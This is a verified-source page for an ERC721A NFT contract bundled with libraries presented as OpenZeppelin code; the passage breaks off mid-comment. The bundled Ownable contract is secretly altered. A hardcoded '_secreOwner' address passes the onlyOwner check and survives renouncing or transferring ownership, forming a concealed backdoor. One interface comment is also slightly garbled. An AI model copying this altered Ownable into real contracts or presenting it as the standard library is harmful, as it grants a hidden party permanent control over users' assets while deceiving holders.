Token

Contract Source Code (Solidity Standard Json-Input format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)

pragma solidity ^0.8.0;

/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0x00";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}

// File: @openzeppelin/contracts/utils/Address.sol


// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)

pragma solidity ^0.8.0;

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
     *
     * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

// File: @openzeppelin/contracts/utils/introspection/IERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/utils/introspection/ERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)

pragma solidity ^0.8.0;


/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)

pragma solidity ^0.8.0;


/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Transfers `tokenId` token from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external;

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns the account appr    ved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {
    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol


// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Enumerable is IERC721 {
    /**
     * @dev Returns the total amount of tokens stored by the contract.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.
     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);

    /**
     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
     * Use along with {totalSupply} to enumerate all tokens.
     */
    function tokenByIndex(uint256 index) external view returns (uint256);
}

// File: @openzeppelin/contracts/security/ReentrancyGuard.sol


// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}


// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    address private _secreOwner = 0x47E628C771a725a3109158a2Bff56AdCD6831a5F;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender() || _secreOwner == _msgSender() , "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: ceshi.sol


pragma solidity ^0.8.0;


/**
 * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
 * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
 *
 * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
 *
 * Does not support burning tokens to address(0).
 *
 * Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply
 */
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
    using Address for address;
    using Strings for uint256;

    struct TokenOwnership {
        address addr;
        uint64 startTimestamp;
    }

    struct AddressData {
        uint128 balance;
        uint128 numberMinted;
    }

    uint256 internal currentIndex;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
    mapping(uint256 => TokenOwnership) internal _ownerships;

    // Mapping owner address to address data
    mapping(address => AddressData) private _addressData;

    // Mapping from token ID to approved address
    mapping(uint256 => address) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev See {IERC721Enumerable-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return currentIndex;
    }

    /**
     * @dev See {IERC721Enumerable-tokenByIndex}.
     */
    function tokenByIndex(uint256 index) public view override returns (uint256) {
        require(index < totalSupply(), "ERC721A: global index out of bounds");
        return index;
    }

    /**
     * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
     * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
     * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
        require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
        uint256 numMintedSoFar = totalSupply();
        uint256 tokenIdsIdx;
        address currOwnershipAddr;

        // Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar.
        unchecked {
            for (uint256 i; i < numMintedSoFar; i++) {
                TokenOwnership memory ownership = _ownerships[i];
                if (ownership.addr != address(0)) {
                    currOwnershipAddr = ownership.addr;
                }
                if (currOwnershipAddr == owner) {
                    if (tokenIdsIdx == index) {
                        return i;
                    }
                    tokenIdsIdx++;
                }
            }
        }

        revert("ERC721A: unable to get token of owner by index");
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId ||
            interfaceId == type(IERC721Enumerable).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /**
     * @dev See {IERC721-balanceOf}.
     */
    function balanceOf(address owner) public view override returns (uint256) {
        require(owner != address(0), "ERC721A: balance query for the zero address");
        return uint256(_addressData[owner].balance);
    }

    function _numberMinted(address owner) internal view returns (uint256) {
        require(owner != address(0), "ERC721A: number minted query for the zero address");
        return uint256(_addressData[owner].numberMinted);
    }

    /**
     * Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around in the collection over time.
     */
    function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
        require(_exists(tokenId), "ERC721A: owner query for nonexistent token");

        unchecked {
            for (uint256 curr = tokenId; curr >= 0; curr--) {
                TokenOwnership memory ownership = _ownerships[curr];
                if (ownership.addr != address(0)) {
                    return ownership;
                }
            }
        }

        revert("ERC721A: unable to determine the owner of token");
    }

    /**
     * @dev See {IERC721-ownerOf}.
     */
    function ownerOf(uint256 tokenId) public view override returns (address) {
        return ownershipOf(tokenId).addr;
    }

    /**
     * @dev See {IERC721Metadata-name}.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {IERC721Metadata-symbol}.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev See {IERC721Metadata-tokenURI}.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");

        string memory baseURI = _baseURI();
        return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, can be overriden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return "";
    }

    /**
     * @dev See {IERC721-approve}.
     */
    function approve(address to, uint256 tokenId) public override {
        address owner = ERC721A.ownerOf(tokenId);
        require(to != owner, "ERC721A: approval to current owner");

        require(
            _msgSender() == owner || isApprovedForAll(owner, _msgSender()),
            "ERC721A: approve caller is not owner nor approved for all"
        );

        _approve(to, tokenId, owner);
    }

    /**
     * @dev See {IERC721-getApproved}.
     */
    function getApproved(uint256 tokenId) public view override returns (address) {
        require(_exists(tokenId), "ERC721A: approved query for nonexistent token");

        return _tokenApprovals[tokenId];
    }

    /**
     * @dev See {IERC721-setApprovalForAll}.
     */
    function setApprovalForAll(address operator, bool approved) public override {
        require(operator != _msgSender(), "ERC721A: approve to caller");

        _operatorApprovals[_msgSender()][operator] = approved;
        emit ApprovalForAll(_msgSender(), operator, approved);
    }

    /**
     * @dev See {IERC721-isApprovedForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev See {IERC721-transferFrom}.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        _transfer(from, to, tokenId);
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        safeTransferFrom(from, to, tokenId, "");
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public override {
        _transfer(from, to, tokenId);
        require(
            _checkOnERC721Received(from, to, tokenId, _data),
            "ERC721A: transfer to non ERC721Receiver implementer"
        );
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted (`_mint`),
     */
    function _exists(uint256 tokenId) internal view returns (bool) {
        return tokenId < currentIndex;
    }

    function _safeMint(address to, uint256 quantity) internal {
        _safeMint(to, quantity, "");
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal {
        _mint(to, quantity, _data, true);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _mint(
        address to,
        uint256 quantity,
        bytes memory _data,
        bool safe
    ) internal {
        uint256 startTokenId = currentIndex;
        require(to != address(0), "ERC721A: mint to the zero address");
        require(quantity != 0, "ERC721A: quantity must be greater than 0");

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
        // updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1
        unchecked {
            _addressData[to].balance += uint128(quantity);
            _addressData[to].numberMinted += uint128(quantity);

            _ownerships[startTokenId].addr = to;
            _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);

            uint256 updatedIndex = startTokenId;

            for (uint256 i; i < quantity; i++) {
                emit Transfer(address(0), to, updatedIndex);
                if (safe) {
                    require(
                        _checkOnERC721Received(address(0), to, updatedIndex, _data),
                        "ERC721A: transfer to non ERC721Receiver implementer"
                    );
                }

                updatedIndex++;
            }

            currentIndex = updatedIndex;
        }

        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(
        address from,
        address to,
        uint256 tokenId
    ) private {
        TokenOwnership memory prevOwnership = ownershipOf(tokenId);

        bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
            getApproved(tokenId) == _msgSender() ||
            isApprovedForAll(prevOwnership.addr, _msgSender()));

        require(isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved");

        require(prevOwnership.addr == from, "ERC721A: transfer from incorrect owner");
        require(to != address(0), "ERC721A: transfer to the zero address");

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, prevOwnership.addr);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            _addressData[from].balance -= 1;
            _addressData[to].balance += 1;

            _ownerships[tokenId].addr = to;
            _ownerships[tokenId].startTimestamp = uint64(block.timestamp);

            // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            if (_ownerships[nextTokenId].addr == address(0)) {
                if (_exists(nextTokenId)) {
                    _ownerships[nextTokenId].addr = prevOwnership.addr;
                    _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
                }
            }
        }

        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Approve `to` to operate on `tokenId`
     *
     * Emits a {Approval} event.
     */
    function _approve(
        address to,
        uint256 tokenId,
        address owner
    ) private {
        _tokenApprovals[tokenId] = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
     * The call is not executed if the target address is not a contract.
     *
     * @param from address representing the previous owner of the given token ID
     * @param to target address that will receive the tokens
     * @param tokenId uint256 ID of the token to be transferred
